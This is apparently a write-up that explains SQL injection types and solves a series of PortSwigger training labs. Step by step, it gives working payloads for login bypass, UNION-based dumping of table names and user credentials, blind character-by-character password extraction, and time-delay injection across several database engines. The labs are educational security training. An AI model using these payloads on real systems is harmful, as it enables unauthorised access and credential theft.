SQL Injection Explained: Real-World Examples and Backend Logic Breakdown
Writeup by : Fardin Zindran
SQL
- SQL stands for Structured Query Language
- SQL lets you access and manipulate databases
- SQL became a standard of the American National Standards Institute (ANSI) in 1986, and of the International Organization for Standardization (ISO) in 1987
What Can SQL do?
- SQL can execute queries against a database
- SQL can retrieve data from a database
- SQL can insert records in a database
- SQL can update records in a database
- SQL can delete records from a database
- SQL can create new databases
- SQL can create new tables in a database
- SQL can create stored procedures in a database
- SQL can create views in a database
- SQL can set permissions on tables, procedures, and views
what is SQL Injection?
SQL Injection is a security vulnerability that occurs when an attacker is able to insert malicious SQL code into an application that interacts with a database. This can happen if user input is not properly sanitized, allowing the attacker to manipulate the database query and access or modify data they shouldn’t.
Example:
Many web applications are connected to a database. The database holds all the information the web application wish to store and use.
SQL Injection is a technique which allows attackers to manipulate the SQL Query the developer of the web application is using. This typically happens because of lack of data sanitization. SQL is used regularly by developers to access database resources.
Types of SQL Injection
In-band SQLi
The attacker uses the same channel of communication to launch their attacks and to gather their results. In-band SQLi’s simplicity and efficiency make it one of the most common types of SQLi attack. There are two sub-variations of this method
Error-based SQLi
The attacker performs actions that cause the database to produce error messages. The attacker can potentially use the data provided by these error messages to gather information about the structure of the database.
Union-based SQLi
Union-based SQL injection uses the UNION operator to combine results from multiple SELECT queries. This allows attackers to fetch data from other tables, like usernames or passwords, in the same response from the server.
Time-based
Attacker sends a SQL query to the database, which makes the database wait (for a period in seconds) before it can react. The attacker can see from the time the database takes to respond, whether a query is true or false. Based on the result, an HTTP response will be generated instantly or after a waiting period. The attacker can thus work out if the message they used returned true or false, without relying on data from the database.
Blind SQLi
The attacker sends data payloads to the server and observes the response and behavior of the server to learn more about its structure. This method is called blind SQLi because the data is not transferred from the website database to the attacker, thus the attacker cannot see information about the attack in-band.
Blind SQL injections rely on the response and behavioral patterns of the server so they are typically slower to execute but may be just as harmful. Blind SQL injections can be classified as follows:
Boolean that attacker sends a SQL query to the database prompting the application to return a result. The result will vary depending on whether the query is true or false. Based on the result, the information within the HTTP response will modify or stay unchanged. The attacker can then work out if the message generated a true or false result.
Out-of-band SQLi
The attacker can only carry out this form of attack when certain features are enabled on the database server used by the web application. This form of attack is primarily used as an alternative to the in-band and inferential SQLi techniques.
Out-of-band SQLi is performed when the attacker can’t use the same channel to launch the attack and gather information, or when a server is too slow or unstable for these actions to be performed. These techniques count on the capacity of the server to create DNS or HTTP requests to transfer data to an attacker.
Payloads and cheatsheats
<https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection>
<https://portswigger.net/web-security/sql-injection/cheat-sheet>
<https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet>
<https://swisskyrepo.github.io/PayloadsAllTheThings/SQL%20Injection/MySQL%20Injection/#extract-columns-name-without-information_schema>SQL playground
<https://sqlplayground.app/>PORTSWIGGER LABS
1. Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
Objective:
Exploit SQL injection in the category filter to view unreleased products
The application carries out a SQL query like the following:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1Solution:
category id = Gifts and content length here is 4805
Adding a ' caused a 500 Internal Server Error, which is a clear hint that SQL injection is possible here.
backend logic here
SELECT * FROM products WHERE category = 'Gifts'' AND released = 1;Gifts’’ results in an unescaped extra quote, causing a syntax error in SQL
Injected a boolean-based SQL injection payload. The response showed an increase in content length, indicating a successful SQL injection.
Payload use (url encoded)
category=Gifts'+OR+1%3d1--+2. Lab: SQL injection vulnerability allowing login bypass
Objective:
This lab contains a SQL injection vulnerability in the login function.
To solve the lab, perform a SQL injection attack that logs in to the application as the administrator user.
Solution:
Login as Administrator and add any password
Backend logic here
SELECT * FROM users WHERE username = 'input' AND password = 'input';Adding a ' caused a 500 Internal Server Error, which is a clear hint that SQL injection is possible here.
here we know administrator is a valid user so we manipulated the backend
SELECT * FROM users WHERE username = 'administrator' OR 1=1-- --- rest is ignoredhere we logged in as administrator without knowing the correct password.
3. Lab: SQL injection attack, querying the database type and version on Oracle
Objective:
This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
Solution:
The backend database is oracle, The below cheatsheat contains all the oracle related payloads
<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md>category id = Gifts and content length here is 8807
Adding a ' caused a 500 Internal Server Error, which is a clear hint that SQL injection is possible here.
increase in content length means successful sql injection
500 internal server error again and again for union based sql injection
Unlike MySQL or PostgreSQL, Oracle requires the following in a UNION SELECT:
- Every SELECT must have the same number of columns
- Every SELECT must match the data types in each column position
- You must select from the dummy table DUAL if your SELECT clause doesn’t come from a real table
Now it worked with dummy database Dual The number of columns here are 2
database retrieval — oracle
SELECT version FROM v$instance
SELECT banner FROM v$version
category=Gifts'+UNION+SELECT+NULL,banner+FROM+v$version--+-backend logic here
SELECT id, name FROM products WHERE category = 'Gifts'
UNION SELECT NULL, banner FROM v$version;4. Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft
Objective
This lab contains a SQL injection vulnerability in the product category filter. You can use a UNION attack to retrieve the results from an injected query.
Solution
The number of columns here are 2
for Microsoft and Mysql Database version
SELECT @@version5. Lab: SQL injection attack, listing the database contents on non-Oracle databases
Objective:
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
Solution:
For non oracle database
Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'The number of columns here are 2
retrieved table name using union based sql injection attack
Gifts' UNION SELECT table_name,NULL From information_schema.tables-- -The users_pbpkuk table contains user details.
extracting column names from table
category=Gifts' UNION SELECT column_name,NULL From information_schema.columns where table_name = 'users_pbpkuk'-- -dumping administrator username and password and this will solve the lab
6. Lab: SQL injection attack, listing the database contents on Oracle
Objective
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
To solve the lab, log in as the administrator user.
Solution
Retrieved Number of Columns Using Oracle’s Dummy Table “DUAL”
oracle database contents
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'the payload to retrieve table name will be
Pets' UNION SELECT table_name,NULL FROM all_tables-- -extracted table name “USERS_WDAXLW”
now need to extract column names in the table
Pets' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name = 'USERS_WDAXLW' -- -column names
USERNAME_SBYNIO
PASSWORD_ZVIPROthe final query to extract administrator username and password becomes
Pets' UNION SELECT USERNAME_SBYNIO,PASSWORD_ZVIPRO FROM USERS_WDAXLW -- -extracted username password and this will solve the lab
7. Lab: SQL injection UNION attack, determining the number of columns returned by the query
Objective
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. The first step of such an attack is to determine the number of columns that are being returned by the query. You will then use this technique in subsequent labs to construct the full attack.
Solution
number of column s are 3 and this will solve the lab
8. Lab: SQL injection UNION attack, finding a column containing text
Objective
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you first need to determine the number of columns returned by the query.The next step is to identify a column that is compatible with string data.
Solution
number of colums are 3
Get Ezhacker’s stories in your inbox
Join Medium for free to get updates from this writer.
Next, we need to determine which column can display text. To do that, we’ll replace each NULL with a string like 'abc' one at a time to see which column outputs the data.
The 2nd column displays text and this will solve the lab
9. Lab: SQL injection UNION attack, retrieving data from other tables
Objective
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response, so you can use a UNION attack to retrieve data from other tables. To construct such an attack, you need to combine someof the techniques you learned in previous labs.
The database contains a different table called users, with columns called username and password.
Solution
here number of columns are 3
as we have the details of table name and column name
we retrieved administrator’s password and this will solve the lab
10. Lab: SQL injection UNION attack, retrieving multiple values in a single column
Objective
This lab contains a SQL injection vulnerability in the product category filter. The results from the query are returned in the application’s response so you can use a UNION attack to retrieve data from other tables.The database contains a different table called users, with columns called username and password.
Solution
Number of columns are 3
internal server error means the original query likely expects only one column, while our injection provides two columns
modify the payload
again internal server error
using username in second column worked we able to retrieve the usernames
To retrieve passwords we need string concatenation
Oracle 'foo'||'bar'
Microsoft 'foo'+'bar'
PostgreSQL 'foo'||'bar'
MySQL 'foo' 'bar'
CONCAT('foo','bar')There are multiple ways to concat two columns lets try it with CONCAT
concatenating two columns to get username and password
CONCAT_WS(Alternative)
better way to concat using concat_ws (concat with seperator) This will solve the lab
Note: To extract values from actual database columns, you must not quote the column names
11.Lab: Blind SQL injection with conditional responses
Objective
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned, and no error messages are displayed. But the application includes aWelcome back message in the page if the query returns any rows. The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
Solution:
Blind SQL Injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application’s response.
How to proceed?
The vulnerable input is in the tracking cookie. The “Welcome back” message is your signal — it appears only when the SQL query returns a result
for every true request we are getting welcome back in response
adding ‘ in tracking cookie and we can see no welcome back prompt!
“The payload AND 1=1 — - leads to a correct result, as we can see the 'Welcome back' message
No welcome back message for AND '1'='2 confirms that there is blind sql injection is present
info we have is
table_name = users
column_name = username , password
End Goal
Administrator’s password
We’ll use the SUBSTRING() function to extract the administrator's password one character at a time, since blind SQL injection doesn't show the full result since the website doesn’t show the password directly, we use SUBSTRING() to check one letter at a time and figure out the full password through yes/no responses
correct response should include — welcome back message
The SUBSTRING() function is used to pull out a part of a string.
SUBSTRING(string, start, length)string : The text you want to take a piece from.
start : The start parameter is used to define the starting position of the string if it is a positive number, the function starts from the beginning of the string, and if it is a negative number, the function starts from the end of the string.
length : length parameter is used to specify the number of characters we want to extract from the string. Without this, the entire string from the start position is returned.
For more information this blog is helpful
https://www.simplilearn.com/tutorials/sql-tutorial/sql-substring
our base here is this condition
‘ AND ‘1’=’1‘a’=’a is true — welcome back message
Lets check if users table exits or not
The query will become
‘ AND (SELECT ‘a‘ from users LIMIT 1)=’aLimit is is just for 1 row only from the table
the backend logic here is
- “Go to the
userstable" - “Pick the first row (
LIMIT 1)" - “Ignore all actual columns”
- “Just return the string
'a'"
confirm that column username and password exist
Now we need to check does administrator user exist in table users
main query
‘ AND ‘a’=’athe final query becomes
‘ AND (SELECT ‘a’ FROM TABLE_NAME WHERE COLUMN_NAME=’administrator’)=’aNow need to determine administrator password but for that we need the exact length of password for that query becomes
' AND (SELECT 'a' from users where username='administrator'and length(password)>1)=’aif password length is greater than 1 will get welcome back prompt
just change the value until welcome back disappears
The length of password is 20 as >20 we get no welcome back response
now extract the password using substring
as we need to extract the password of administrator so reconstruct our main query
6rCVC8JneqGHHFv9' AND (SELECT password from users where username='administrator')='aadd substring to retrieve the password
6rCVC8JneqGHHFv9' AND (SELECT substring(password,1,1) from users where username='administrator')='aThe first character of the password is y
automate it using intruder
another way to do this is
' AND SUBSTRING((SELECT Password FROM Users WHERE Username ='administrator'), 1, 3)='4k7;Here that inner query returns one string (the password).
SUBSTRING() then operates on that string.
12 Lab: Blind SQL injection with time delays
Objective:
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.
Solution:
Goal:
cause a 10 second delay
payloads for time-based SQL injection
Oracle dbms_pipe.receive_message(('a'),10)
Microsoft WAITFOR DELAY '0:0:10'
PostgreSQL SELECT pg_sleep(10)
MySQL SELECT SLEEP(10)In this lab, the app doesn’t show anything different no matter what
- No message like “Welcome back”
- No errors
- No visual clue
our injection point as per hint is
TrackingId=AARuBJTeL5GZUTj5The backend SQL query (my guess)
SELECT * FROM tracking WHERE id = 'tracking-ID'logic
the tracking id is not a numeric value its a string so the backend SQL likely wraps it in quotes
NOTE:
when we reference database identifiers like table or column names they’re used without quotes, unless they contain special characters or are reserved words. For example:
SELECT password FROM users WHERE username = 'admin';users→ table name → no quotespassword,username→ column names → no quotes'admin'→ actual string value → must be in quotes
if we inject payload here like
SELECT pg_sleep(10)
SELECT SLEEP(10)tracking_id = 'U86B1p6gKjRAOwncD SELECT pg_sleep(10)'it becomes invalid and stuck inside string so we need a way to execute code inside the string
so first we need to break the query via single quote
tracking_id = 'U86B1p6gKjRAOwncD'---->new query here'now the thing is
We can’t just run pg_sleep(10) as its own command. Instead, we must sneak it into the part of the SQL query that’s already running The only way to do that safely is to treat it as part of an expression - via string concat
The query becomes
remember the tracking id is a string and it will be inside quotes as follows
tracking_id = 'U86B1p6gKjRAOwncD' || pg_sleep(10)--'The final payload becomes
' || pg_sleep(10)--







